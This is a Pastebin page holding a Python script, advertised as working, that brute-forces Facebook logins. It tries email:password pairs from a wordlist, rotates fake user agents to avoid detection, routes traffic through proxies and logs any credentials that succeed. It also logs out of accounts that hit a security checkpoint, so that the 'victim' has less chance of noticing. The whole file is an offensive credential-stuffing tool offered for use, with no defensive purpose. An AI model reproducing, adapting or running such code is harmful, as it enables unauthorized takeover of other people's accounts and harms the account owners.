API tools faq
paste
Advertisement
tanmay606

FB Bruteforce Script [ Working & Fixed ]

tanmay606
Mar 19th, 2015
441
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 13.98 KB | None | 0 0
raw download clone embed print report
  1. import re
  2. import os
  3. import sys
  4. import random
  5. import warnings
  6. import time
  7. #import lxml.html
  8. try:
  9.         import mechanize
  10. except ImportError:
  11.         print "[*] Please install mechanize python module first"
  12.         sys.exit(1)
  13. except KeyboardInterrupt:
  14.         print "\n[*] Exiting program...\n"
  15.         sys.exit(1)
  16. try:
  17.         import cookielib
  18. except ImportError:
  19.         print "[*] Please install cookielib python module first"
  20.         sys.exit(1)
  21. except KeyboardInterrupt:
  22.         print "\n[*] Exiting program...\n"
  23.         sys.exit(1)
  24.  
  25. warnings.filterwarnings(action="ignore", message=".*gzip transfer encoding is experimental!", category=UserWarning)
  26.  
  27. # define variable
  28. __programmer__  = "Tanmay606 (13lackD3M0n)"
  29. __version__     = "1.0"
  30. verbose         = False
  31. useproxy        = False
  32. usepassproxy    = False
  33. log             = 'fbbruteforcer.log'
  34. file            = open(log, "a")
  35. success         = 'home_edit_profile'
  36. checkpoint      = 'checkpoint'
  37. oldpass         = 'You entered an old password'
  38. fblogin         = 'https://login.facebook.com/login.php?login_attempt=1'
  39. # some cheating ..
  40. useragent    = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
  41.                 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
  42.                 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
  43.                 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
  44.                 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
  45.                 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
  46.                 'Microsoft Internet Explorer/4.0b1 (Windows 95)',
  47.                 'Opera/8.00 (Windows NT 5.1; U; en)',
  48.                 'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
  49.                 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
  50.                 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
  51.                 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
  52.                 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
  53.                 'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'
  54.                 ]
  55. facebook        = '''
  56.  __               _                 _
  57. / _|             | |               | |
  58. | |_ __ _  ___ ___| |__   ___   ___ | | __
  59. |  _/ _` |/ __/ _ \ '_ \ / _ \ / _ \| |/ /
  60. | || (_| | (_|  __/ |_) | (_) | (_) |   <
  61. |_| \__,_|\___\___|_.__/ \___/ \___/|_|\_\\
  62.                                        bruteforcer...
  63.  
  64. Programmer : %s
  65. Version    : %s''' % (__programmer__, __version__)
  66.  
  67. option          = '''
  68. This Python script can bruteforce Facebook account login, single or multiple accounts automatically.
  69. Inportant Note: wordlist.txt has to be in format userEmail:password
  70. Eg:
  71.     userEmail1@yahoo.com:password1
  72.        userEmail2@gmail.com:password2
  73.  
  74. If you want to bruteforce only 1 userEmail, just change the userEmail to be the same. You can also use UserName, instead of UserEmail.
  75.  
  76. Usage  : %s [options], eg: ./fb.py -w wordlist.txt OR python fb.py -w wordlist.txt
  77. Option : -w, --wordlist         <filename>      |   Wordlist used for bruteforcing
  78.         -v, --verbose                          |   Set %s will be verbose
  79.         -p, --proxy            <host:port>     |   Set http proxy will be use
  80.         -k, --usernameproxy    <username>      |   Set username at proxy will be use
  81.         -i, --passproxy        <password>      |   Set password at proxy will be use
  82.         -l, --log              <filename>      |   Specify output filename (default : fbbruteforcer.log)
  83.         -h, --help             <help>          |   Print this help
  84.  
  85. Example : %s -w wordlist.txt
  86.  
  87. P.S : add "&" to run in the background
  88. ''' % (sys.argv[0], sys.argv[0], sys.argv[0])
  89. hme             = '''
  90. Usage : %s [option], eg: ./fb.py -w wordlist.txt OR python fb.py -w wordlist.txt
  91.  
  92.     This Python script can bruteforce Facebook account login, single or multiple accounts automatically.
  93.     Inportant Note: wordlist.txt has to be in format userEmail:password
  94.     Eg:
  95.         userEmail1@yahoo.com:password1
  96.         userEmail2@gmail.com:password2
  97.     If you want to bruteforce only 1 userEmail, just change the userEmail to be the same. You can also use UserName, instead of UserEmail.
  98.  
  99.        -h or --help for get help
  100.        ''' % sys.argv[0]
  101.  
  102. def helpme():
  103.         print facebook
  104.         print option
  105.         file.write(facebook)
  106.         file.write(option)
  107.         sys.exit(1)
  108.  
  109. def helpmee():
  110.         print facebook
  111.         print hme
  112.         file.write(facebook)
  113.         file.write(hme)
  114.         sys.exit(1)
  115.  
  116. for arg in sys.argv:
  117.         try:
  118.                 if arg.lower() == '-u' or arg.lower() == '--user':
  119.                         username = sys.argv[int(sys.argv[1:].index(arg))+2]
  120.                 elif arg.lower() == '-w' or arg.lower() == '--wordlist':
  121.                         wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
  122.                 elif arg.lower() == '-l' or arg.lower() == '--log':
  123.                         log = sys.argv[int(sys.argv[1:].index(arg))+2]
  124.                 elif arg.lower() == '-p' or arg.lower() == '--proxy':
  125.                         useproxy = True
  126.                         proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
  127.                 elif arg.lower() == '-k' or arg.lower() == '--userproxy':
  128.                         usepassproxy = True
  129.                         usw = sys.argv[int(sys.argv[1:].index(arg))+2]
  130.                 elif arg.lower() == '-i' or arg.lower() == '--passproxy':
  131.                         usepassproxy = True
  132.                         usp = sys.argv[int(sys.argv[1:].index(arg))+2]
  133.                 elif arg.lower() == '-v' or arg.lower() == '--verbose':
  134.                         verbose = True
  135.                 elif arg.lower() == '-h' or arg.lower() == '--help':
  136.                         helpme()
  137.                 elif len(sys.argv) <= 1:
  138.                         helpmee()
  139.         except IOError:
  140.                 helpme()
  141.         except NameError:
  142.                 helpme()
  143.         except IndexError:
  144.                 helpme()
  145.  
  146. def bruteforce(word):
  147.         try:
  148.                 pos = word.find(":")
  149.                 userEmail = word[0:pos]
  150.                 word = word[pos+len(":"):len(word)]
  151.                
  152.                 print("userEmail: " + userEmail )
  153.                 print("password: " + word )
  154.                 file.write("[*] Trying " + userEmail + ":" + word + "\n" )
  155.                 sys.stdout.flush()
  156.                 rch = random.choice(useragent)
  157.                 br.addheaders = [('User-agent', rch)]
  158.                 # print("User Agent: " + rch )
  159.                 opensite = br.open(fblogin)
  160.  
  161.                 # To show and print all forms name
  162.                 #for form in br.forms():
  163.                 #        print "Form name:", form.name
  164.                 #        print form.attrs['id']
  165.  
  166.                 # To show all control elements in the form
  167.                 #br.form = list(br.forms())[0]
  168.                 #for control in br.form.controls:
  169.                 #        print control
  170.                 #        print "type=%s, name=%s value=%s" % (control.type, control.name, br[control.name])
  171.  
  172.                 # To dump cookies data being sent and received
  173.                 # dump();
  174.  
  175.                 # Release email account from autotext fill
  176.                 # If email still auto-filled on login form, this script would not work as expected, so we need to release it
  177.  
  178.                 NotMe = "notme_cuid"
  179.                 for link in br.links():
  180.                         if (NotMe in link.url):
  181.                                 request = br.click_link(link)
  182.                                 response = br.follow_link(link)
  183.                                 # print response.geturl()
  184.  
  185.                 br.select_form(nr=0)
  186.  
  187.                 br.form = list(br.forms())[0]
  188.                 br.form['email'] = userEmail
  189.                 br.form['pass'] = word
  190.                 br.submit()
  191.                 response = br.response().read()
  192.  
  193.                 if verbose:
  194.                         print response
  195.                 if success in response:
  196.                         print "\n\n[*] Logging in success..."
  197.                         print "[*] userEmail : %s" % (userEmail)
  198.                         print "[*] Password : %s\n" % (word)
  199.                         file.write("\n[*] Logging in success...")
  200.                         file.write("\n[*] userEmail : %s" % (userEmail))
  201.                         file.write("\n[*] Password : %s\n\n" % (word))
  202.  
  203.                         # After successful login, force to Log Out (to clear the cookies & session - important!)
  204.                         #for form in br.forms():
  205.                         #        if form.attrs['id'] == 'logout_form':
  206.                         #                br.form = form
  207.                         #                br.submit()
  208.                         # Facebook has changed their form behaviour, looks like they hidden it from us :P
  209.                         # No Problem! We won't use logout form anymore, but deleting the current cookies/session
  210.                         cj.clear()
  211.                 elif checkpoint in response:
  212.                         print "\n\n[*] Logging in success...but stuck on checkpoint! Victim maybey has been noticed"
  213.                         print "[*] userEmail : %s" % (userEmail)
  214.                         print "[*] Password : %s\n" % (word)
  215.                         file.write("\n[*] Logging in success...but stuck on checkpoint! Victim maybey has been noticed")
  216.                         file.write("\n[*] userEmail : %s" % (userEmail))
  217.                         file.write("\n[*] Password : %s\n\n" % (word))
  218.  
  219.                         # In checkpoint, this account may has been logged in, so we need to Log it Out after successful login
  220.                         LogOut = "logout.php"
  221.                         for link in br.links():
  222.                                 if (LogOut in link.url):
  223.                                         request = br.click_link(link)
  224.                                         response = br.follow_link(link)
  225.                                         # print response.geturl()
  226.                                         # print "This account has been logged out"
  227.                                 # else:
  228.                                 #        print "Can not click Log Out link"
  229.                        
  230.         except KeyboardInterrupt:
  231.                 print "\n[*] Exiting program...\n"
  232.                 sys.exit(1)
  233.         except mechanize._mechanize.FormNotFoundError:
  234.                 print "\n[*] Form Not Found\n"
  235.                 file.write("\n[*] Form Not Found\n")
  236.                 sys.exit(1)
  237.         except mechanize._form.ControlNotFoundError:
  238.                 print "\n[*] Control Not Found\n"
  239.                 file.write("\n[*] Control Not Found\n")
  240.                 sys.exit(1)
  241.  
  242. # Function to Dump Cookies Data
  243. # def dump():
  244. #       for cookie in cj:
  245. #               print cookie.name, cookie.value
  246.  
  247. def releaser():
  248.         global word
  249.         for word in words:
  250.                 bruteforce(word.replace("\n",""))
  251.  
  252. def main():
  253.         global br
  254.         global words
  255.         # Uncomment this variable if you want to enable dump()
  256.         global cj
  257.         try:
  258.                 br = mechanize.Browser()
  259.                 cj = cookielib.LWPCookieJar()
  260.                 br.set_cookiejar(cj)
  261.                 br.set_handle_equiv(True)
  262.                 br.set_handle_gzip(True)
  263.                 br.set_handle_redirect(True)
  264.                 br.set_handle_referer(True)
  265.                 br.set_handle_robots(False)
  266.                 br.set_debug_http(False)
  267.                 br.set_debug_redirects(False)
  268.                 br.set_debug_redirects(False)
  269.                 br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  270.                 if useproxy:
  271.                         br.set_proxies({"http": proxy})
  272.                 if usepassproxy:
  273.                         br.add_proxy_password(usw, usp)
  274.                 if verbose:
  275.                         br.set_debug_http(True)
  276.                         br.set_debug_redirects(True)
  277.                         br.set_debug_redirects(True)
  278.         except KeyboardInterrupt:
  279.                 print "\n[*] Exiting program...\n"
  280.                 file.write("\n[*] Exiting program...\n")
  281.                 sys.exit(1)
  282.         try:
  283.                 preventstrokes = open(wordlist, "r")
  284.                 words          = preventstrokes.readlines()
  285.                 count          = 0
  286.                 while count < len(words):
  287.                         words[count] = words[count].strip()
  288.                         count += 1
  289.         except IOError:
  290.                 print "\n[*] Error: Check your wordlist path\n"
  291.                 file.write("\n[*] Error: Check your wordlist path\n")
  292.                 sys.exit(1)
  293.         except NameError:
  294.                 helpme()
  295.         except KeyboardInterrupt:
  296.                 print "\n[*] Exiting program...\n"
  297.                 file.write("\n[*] Exiting program...\n")
  298.                 sys.exit(1)
  299.         try:
  300.                 print facebook
  301.                 print "\n[*] Starting attack at %s" % time.strftime("%X")
  302.                 #print "[*] Account for bruteforcing %s" % (username)
  303.                 print "[*] Loaded :",len(words),"words"
  304.                 print "[*] Bruteforcing, please wait..."
  305.                 file.write(facebook)
  306.                 file.write("\n[*] Starting attack at %s" % time.strftime("%X"))
  307.                 #file.write("\n[*] Account for bruteforcing %s" % (username))
  308.                 file.write("\n[*] Loaded : %d words" % int(len(words)))
  309.                 file.write("\n[*] Bruteforcing, please wait...\n")
  310.         except KeyboardInterrupt:
  311.                 print "\n[*] Exiting program...\n"
  312.                 sys.exit(1)
  313.         try:
  314.                 releaser()
  315.                 bruteforce(word)
  316.         except NameError:
  317.                 helpme()
  318.  
  319. if __name__ == '__main__':
  320.         main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!